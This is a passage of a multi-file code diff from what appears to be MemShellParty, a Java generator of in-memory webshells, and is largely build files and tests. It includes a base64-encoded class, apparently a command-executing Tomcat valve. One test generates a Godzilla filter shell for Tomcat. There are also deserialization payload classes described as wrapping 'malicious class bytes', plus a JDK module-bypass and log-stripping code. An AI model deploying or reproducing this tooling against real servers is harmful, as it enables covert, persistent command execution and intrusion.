Zy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
|
|
||||||
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+12
-63
@@ -1,18 +1,12 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
import com.reajason.javaweb.boot.entity.Config;
|
||||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
import org.springframework.boot.test.web.server.LocalServerPort;
|
import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||||
import org.springframework.core.ParameterizedTypeReference;
|
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.client.RestClient;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
@@ -25,64 +19,19 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
public class ConfigControllerIntegrationTest {
|
public class ConfigControllerIntegrationTest {
|
||||||
|
|
||||||
private static final ParameterizedTypeReference<Map<String, Object>> MAP_TYPE = new ParameterizedTypeReference<>() {
|
@Autowired
|
||||||
};
|
private TestRestTemplate restTemplate;
|
||||||
|
|
||||||
private static final ParameterizedTypeReference<List<String>> STRING_LIST_TYPE = new ParameterizedTypeReference<>() {
|
|
||||||
};
|
|
||||||
|
|
||||||
@LocalServerPort
|
|
||||||
private int port;
|
|
||||||
|
|
||||||
private RestClient restClient;
|
|
||||||
|
|
||||||
@BeforeEach
|
|
||||||
void setUp() {
|
|
||||||
restClient = RestClient.builder()
|
|
||||||
.baseUrl("http://localhost:" + port)
|
|
||||||
.build();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Map<String, Object>> response = restClient.get()
|
ResponseEntity<Config> response = restTemplate.getForEntity("/config", Config.class);
|
||||||
.uri("/api/config")
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(MAP_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
assertNotNull(response.getBody());
|
|
||||||
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void testConfigServersEndpoint() {
|
|
||||||
ResponseEntity<Map<String, Object>> response = restClient.get()
|
|
||||||
.uri("/api/config/servers")
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(MAP_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
|
||||||
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
Config config = response.getBody();
|
||||||
public void testConfigPackersEndpoint() {
|
assertNotNull(config);
|
||||||
ResponseEntity<List<String>> response = restClient.get()
|
assertNotNull(config.getServers());
|
||||||
.uri("/api/config/packers")
|
assertNotNull(config.getCore());
|
||||||
.retrieve()
|
assertNotNull(config.getPackers());
|
||||||
.toEntity(STRING_LIST_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
assertNotNull(response.getBody());
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
@Test
|
|
||||||
public void testConfigProbeResponseBodyServersEndpoint() {
|
|
||||||
ResponseEntity<List<String>> response = restClient.get()
|
|
||||||
.uri("/api/config/probe/response-body/servers")
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(STRING_LIST_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
assertNotNull(response.getBody());
|
|
||||||
assertEquals(ResponseBodyGenerator.getSupportedServers(), response.getBody());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-71
@@ -1,71 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
|
||||||
import org.springframework.boot.test.web.server.LocalServerPort;
|
|
||||||
import org.springframework.http.HttpStatus;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.client.RestClient;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/9/16
|
|
||||||
*/
|
|
||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
|
||||||
class MemShellGeneratorControllerTest {
|
|
||||||
|
|
||||||
@LocalServerPort
|
|
||||||
private int port;
|
|
||||||
|
|
||||||
private RestClient restClient;
|
|
||||||
|
|
||||||
@BeforeEach
|
|
||||||
void setUp() {
|
|
||||||
restClient = RestClient.builder()
|
|
||||||
.baseUrl("http://localhost:" + port)
|
|
||||||
.build();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void generateShell() {
|
|
||||||
MemShellGenerateRequest request = new MemShellGenerateRequest();
|
|
||||||
request.setShellConfig(ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellType(ShellType.FILTER)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shrink(true)
|
|
||||||
.debug(true)
|
|
||||||
.serverVersion("Unknown")
|
|
||||||
.targetJreVersion(50)
|
|
||||||
.build());
|
|
||||||
request.setInjectorConfig(InjectorConfig.builder()
|
|
||||||
.urlPattern("/*")
|
|
||||||
.build());
|
|
||||||
request.setPacker(Packers.ScriptEngine);
|
|
||||||
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
|
|
||||||
shellToolConfigDTO.setGodzillaKey("key");
|
|
||||||
shellToolConfigDTO.setGodzillaPass("pass");
|
|
||||||
shellToolConfigDTO.setHeaderName("User-Agent");
|
|
||||||
shellToolConfigDTO.setHeaderValue("hello");
|
|
||||||
request.setShellToolConfig(shellToolConfigDTO);
|
|
||||||
ResponseEntity<MemShellGenerateResponse> response = restClient.post()
|
|
||||||
.uri("/api/memshell/generate")
|
|
||||||
.body(request)
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(MemShellGenerateResponse.class);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
assertNotNull(response.getBody());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
plugins {
|
|
||||||
`kotlin-dsl`
|
|
||||||
}
|
|
||||||
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
|
|
||||||
}
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
rootProject.name = "build-logic"
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id("com.vanniktech.maven.publish")
|
|
||||||
}
|
|
||||||
|
|
||||||
mavenPublishing {
|
|
||||||
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
|
||||||
signAllPublications()
|
|
||||||
coordinates(
|
|
||||||
"io.github.reajason",
|
|
||||||
project.name,
|
|
||||||
rootProject.version as String
|
|
||||||
)
|
|
||||||
|
|
||||||
pom {
|
|
||||||
name.set("MemShellParty")
|
|
||||||
description.set(project.description)
|
|
||||||
url.set("https://github.com/ReaJason/MemShellParty")
|
|
||||||
inceptionYear.set("2025")
|
|
||||||
licenses {
|
|
||||||
license {
|
|
||||||
name.set("MIT")
|
|
||||||
url.set("https://spdx.org/licenses/MIT.html")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
developers {
|
|
||||||
developer {
|
|
||||||
id.set("reajason")
|
|
||||||
name.set("ReaJason")
|
|
||||||
url.set("https://reajason.eu.org")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
scm {
|
|
||||||
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
|
|
||||||
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
|
|
||||||
url.set("https://github.com/ReaJason/MemShellParty")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
version = project.hasProperty('version') ? version : '1.0.0'
|
||||||
|
|
||||||
|
allprojects {
|
||||||
|
if (it.name != 'bom') {
|
||||||
|
apply(plugin: 'java')
|
||||||
|
apply(plugin: 'idea')
|
||||||
|
apply(plugin: 'jacoco')
|
||||||
|
}
|
||||||
|
|
||||||
|
if (it.name != 'bom' && !it.name.startsWith("vul")) {
|
||||||
|
dependencies {
|
||||||
|
implementation platform(project(':bom'))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
idea {
|
||||||
|
module {
|
||||||
|
excludeDirs += file('src')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
jacocoTestReport {
|
||||||
|
reports {
|
||||||
|
xml.required = true
|
||||||
|
csv.required = true
|
||||||
|
html.required = true
|
||||||
|
}
|
||||||
|
afterEvaluate {
|
||||||
|
executionData.from fileTree(rootDir) {
|
||||||
|
include '**/build/jacoco/**/*.exec'
|
||||||
|
}
|
||||||
|
|
||||||
|
sourceDirectories = files('generator/src/main/java')
|
||||||
|
|
||||||
|
classDirectories.from(
|
||||||
|
fileTree('generator/build/classes/java/main') {
|
||||||
|
excludes = [
|
||||||
|
'com/reajason/javaweb/memsell/**/godzilla/**',
|
||||||
|
'com/reajason/javaweb/memsell/**/injector/**',
|
||||||
|
'com/reajason/javaweb/memsell/**/command/**',
|
||||||
|
'com/reajason/javaweb/config/**'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,24 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id("java")
|
|
||||||
id("idea")
|
|
||||||
}
|
|
||||||
|
|
||||||
idea {
|
|
||||||
module {
|
|
||||||
excludeDirs.add(file("src"))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
version = "2.10.0"
|
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
|
||||||
dependsOn(":packer:publishToMavenCentral")
|
|
||||||
dependsOn(":generator:publishToMavenCentral")
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.register("publishAllToMavenLocal") {
|
|
||||||
dependsOn(":memshell-party-common:publishToMavenLocal")
|
|
||||||
dependsOn(":packer:publishToMavenLocal")
|
|
||||||
dependsOn(":generator:publishToMavenLocal")
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
plugins {
|
||||||
|
id "io.freefair.lombok" version "8.11"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb'
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
java {
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
|
implementation 'commons-io:commons-io'
|
||||||
|
implementation 'org.apache.commons:commons-lang3'
|
||||||
|
implementation 'commons-codec:commons-codec'
|
||||||
|
implementation 'org.jetbrains:annotations'
|
||||||
|
testImplementation platform('org.junit:junit-bom')
|
||||||
|
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||||
|
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||||
|
testImplementation "org.mockito:mockito-core"
|
||||||
|
}
|
||||||
|
|
||||||
|
test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
+15
-3
@@ -5,7 +5,7 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
|
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.isDefaultConstructor;
|
import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* JDK9 引入的 module 系统,只有主动声明 exports 的才能被外部访问。当前用于打破 module 的限制,使我们能像低版本一样任意反射获取方法
|
* JDK9 引入的 module 系统,只有主动声明 exports 的才能被外部访问。当前用于打破 module 的限制,使我们能像低版本一样任意反射获取方法
|
||||||
@@ -33,12 +33,24 @@ public class ByPassJavaModuleInterceptor {
|
|||||||
* Reference1: <a href="https://stackoverflow.com/questions/62664427/can-i-create-a-bytebuddy-instrumented-type-with-a-private-static-final-methodhan">stackoverflow</a>
|
* Reference1: <a href="https://stackoverflow.com/questions/62664427/can-i-create-a-bytebuddy-instrumented-type-with-a-private-static-final-methodhan">stackoverflow</a>
|
||||||
* Reference2: <a href="https://github.com/raphw/byte-buddy/issues/1153">issue</a>
|
* Reference2: <a href="https://github.com/raphw/byte-buddy/issues/1153">issue</a>
|
||||||
* <br>
|
* <br>
|
||||||
* 在默认构造方法中执行 byPassJdkModule 代码
|
* 在静态代码块中执行 byPassJdkModule 代码
|
||||||
|
* 值得注意的一点,builder 是不可变类型,所以都是需要重新赋值,例如以下代码示例
|
||||||
|
* # code that not work
|
||||||
|
* builder = new Bytebuddy().redefine(class);
|
||||||
|
* builder.visit(something);
|
||||||
|
* builder.make();
|
||||||
|
* <br>
|
||||||
|
* # code that work
|
||||||
|
* <br>
|
||||||
|
* builder = new Bytebuddy().redefine(class);
|
||||||
|
* builder = builder.visit(something);
|
||||||
|
* builder.make();
|
||||||
|
*
|
||||||
* @param builder bytebuddy builder
|
* @param builder bytebuddy builder
|
||||||
* @return new builder with bypass
|
* @return new builder with bypass
|
||||||
*/
|
*/
|
||||||
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
||||||
return builder.visit(Advice.to(ByPassJavaModuleInterceptor.class)
|
return builder.visit(Advice.to(ByPassJavaModuleInterceptor.class)
|
||||||
.on(isDefaultConstructor()));
|
.on(isTypeInitializer()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+3
-3
@@ -18,6 +18,7 @@ import static net.bytebuddy.jar.asm.Opcodes.POP;
|
|||||||
/**
|
/**
|
||||||
* Debug 信息打印移除器
|
* Debug 信息打印移除器
|
||||||
* 目前仅支持移除以下几种
|
* 目前仅支持移除以下几种
|
||||||
|
* <br />
|
||||||
* 1. System.out.println() - (printf 还不支持)
|
* 1. System.out.println() - (printf 还不支持)
|
||||||
* 2. e.printStackTrace()
|
* 2. e.printStackTrace()
|
||||||
* 3. Logger.info (java.util)
|
* 3. Logger.info (java.util)
|
||||||
@@ -30,7 +31,7 @@ public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMeth
|
|||||||
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
||||||
return builder.visit(
|
return builder.visit(
|
||||||
new AsmVisitorWrapper.ForDeclaredMethods()
|
new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
.invokable(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE));
|
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE));
|
||||||
}
|
}
|
||||||
|
|
||||||
@NotNull
|
@NotNull
|
||||||
@@ -46,8 +47,7 @@ public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMeth
|
|||||||
@Override
|
@Override
|
||||||
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
||||||
if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println"))
|
if ((opcode == INVOKEVIRTUAL && owner.equals("java/io/PrintStream") && name.equals("println"))
|
||||||
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace") && descriptor.equals("()V"))
|
|| (opcode == INVOKEVIRTUAL && owner.endsWith("Exception") && name.equals("printStackTrace"))
|
||||||
|| (opcode == INVOKEVIRTUAL && owner.equals("java/lang/Throwable") && name.equals("printStackTrace") && descriptor.equals("()V"))
|
|
||||||
|| (opcode == INVOKEVIRTUAL && owner.equals("java/util/logging/Logger") && (name.equals("info") || name.equals("warning")))
|
|| (opcode == INVOKEVIRTUAL && owner.equals("java/util/logging/Logger") && (name.equals("info") || name.equals("warning")))
|
||||||
) {
|
) {
|
||||||
String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";");
|
String[] args = descriptor.substring(1, descriptor.indexOf(')')).split(";");
|
||||||
@@ -0,0 +1,76 @@
|
|||||||
|
package com.reajason.javaweb.buddy;
|
||||||
|
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.jar.asm.MethodVisitor;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Paths;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
public class MethodSubstitutionExample {
|
||||||
|
|
||||||
|
|
||||||
|
public static class MethodReplacementMethodVisitor extends MethodVisitor {
|
||||||
|
private final String targetClassName;
|
||||||
|
|
||||||
|
public MethodReplacementMethodVisitor(MethodVisitor mv, String targetClassName) {
|
||||||
|
super(Opcodes.ASM9, mv);
|
||||||
|
this.targetClassName = targetClassName;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
||||||
|
if (opcode == Opcodes.INVOKESTATIC
|
||||||
|
&& owner.endsWith("ExternalClass")
|
||||||
|
&& name.equals("replacementMethod")) {
|
||||||
|
super.visitMethodInsn(Opcodes.INVOKESTATIC,
|
||||||
|
targetClassName.replace(".", "/"),
|
||||||
|
name,
|
||||||
|
descriptor,
|
||||||
|
false);
|
||||||
|
} else {
|
||||||
|
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class ExternalClass {
|
||||||
|
public static String externalMethod(String input) {
|
||||||
|
return "External: " + input;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String replacementMethod(String input) {
|
||||||
|
return "Replaced: " + input;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class TargetClass {
|
||||||
|
public String targetMethod(String input) {
|
||||||
|
System.out.println("targetMethod");
|
||||||
|
return ExternalClass.replacementMethod(input);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String replacementMethod(String input) {
|
||||||
|
return "Replaced: " + input;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
String oldClassName = TargetClass.class.getName();
|
||||||
|
String newClassName = oldClassName + "Redefinition";
|
||||||
|
|
||||||
|
DynamicType.Unloaded<TargetClass> dynamicType = new ByteBuddy()
|
||||||
|
.redefine(TargetClass.class)
|
||||||
|
.name(newClassName)
|
||||||
|
.visit(new AsmVisitorWrapper.ForDeclaredMethods().method(named("targetMethod"), (typeDescription, methodDescription, methodVisitor, context, typePool, i, i1) -> new MethodReplacementMethodVisitor(methodVisitor, newClassName)))
|
||||||
|
.make();
|
||||||
|
|
||||||
|
Files.write(Paths.get("xixi.class"), dynamicType.getBytes());
|
||||||
|
Class<?> redefinedClass = dynamicType.load(MethodSubstitutionExample.class.getClassLoader())
|
||||||
|
.getLoaded();
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-4
@@ -6,7 +6,6 @@ import net.bytebuddy.description.field.FieldList;
|
|||||||
import net.bytebuddy.description.method.MethodList;
|
import net.bytebuddy.description.method.MethodList;
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
import net.bytebuddy.implementation.Implementation;
|
import net.bytebuddy.implementation.Implementation;
|
||||||
import net.bytebuddy.jar.asm.ClassReader;
|
|
||||||
import net.bytebuddy.jar.asm.ClassVisitor;
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
import net.bytebuddy.jar.asm.commons.ClassRemapper;
|
||||||
import net.bytebuddy.jar.asm.commons.Remapper;
|
import net.bytebuddy.jar.asm.commons.Remapper;
|
||||||
@@ -24,7 +23,7 @@ public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
public int mergeReader(int flags) {
|
public int mergeReader(int flags) {
|
||||||
return flags | ClassReader.EXPAND_FRAMES;
|
return flags;
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -47,8 +46,7 @@ public class ServletRenameVisitorWrapper implements AsmVisitorWrapper {
|
|||||||
new Remapper() {
|
new Remapper() {
|
||||||
@Override
|
@Override
|
||||||
public String map(String typeName) {
|
public String map(String typeName) {
|
||||||
if (typeName.startsWith("javax/servlet/")
|
if (typeName.startsWith("javax/servlet/")) {
|
||||||
|| typeName.startsWith("javax/websocket/")) {
|
|
||||||
return typeName.replaceFirst("javax", "jakarta");
|
return typeName.replaceFirst("javax", "jakarta");
|
||||||
} else {
|
} else {
|
||||||
return typeName;
|
return typeName;
|
||||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,49 @@
|
|||||||
|
plugins {
|
||||||
|
id "io.freefair.lombok" version "8.11"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb'
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
|
|
||||||
|
implementation 'commons-beanutils:commons-beanutils:1.9.3'
|
||||||
|
|
||||||
|
testImplementation platform('org.junit:junit-bom')
|
||||||
|
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def runtimeJvmArgs = [
|
||||||
|
'--add-opens=java.base/java.lang=ALL-UNNAMED',
|
||||||
|
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
||||||
|
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||||
|
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||||
|
]
|
||||||
|
|
||||||
|
tasks.withType(JavaCompile).configureEach {
|
||||||
|
options.compilerArgs += [
|
||||||
|
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||||
|
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.withType(Test).configureEach {
|
||||||
|
jvmArgs += runtimeJvmArgs
|
||||||
|
}
|
||||||
|
|
||||||
|
// For running the application
|
||||||
|
tasks.withType(JavaExec).configureEach {
|
||||||
|
jvmArgs += runtimeJvmArgs
|
||||||
|
}
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(11)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import lombok.Data;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
@Data
|
||||||
|
public class DeserializeConfig {
|
||||||
|
private PayloadType payloadType;
|
||||||
|
}
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
public class DeserializeGenerator {
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
|
||||||
|
PayloadType payloadType = config.getPayloadType();
|
||||||
|
Object obj = payloadType.getPayload().generate(bytes);
|
||||||
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
|
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
||||||
|
oos.writeObject(obj);
|
||||||
|
oos.flush();
|
||||||
|
oos.close();
|
||||||
|
return baos.toByteArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/13
|
||||||
|
*/
|
||||||
|
public interface Payload {
|
||||||
|
/**
|
||||||
|
* 将恶意类字节流封装成序列化对象
|
||||||
|
*
|
||||||
|
* @param bytes 恶意类字节流
|
||||||
|
* @return 序列化对象
|
||||||
|
*/
|
||||||
|
Object generate(byte[] bytes);
|
||||||
|
}
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
package com.reajason.javaweb.deserialize;
|
||||||
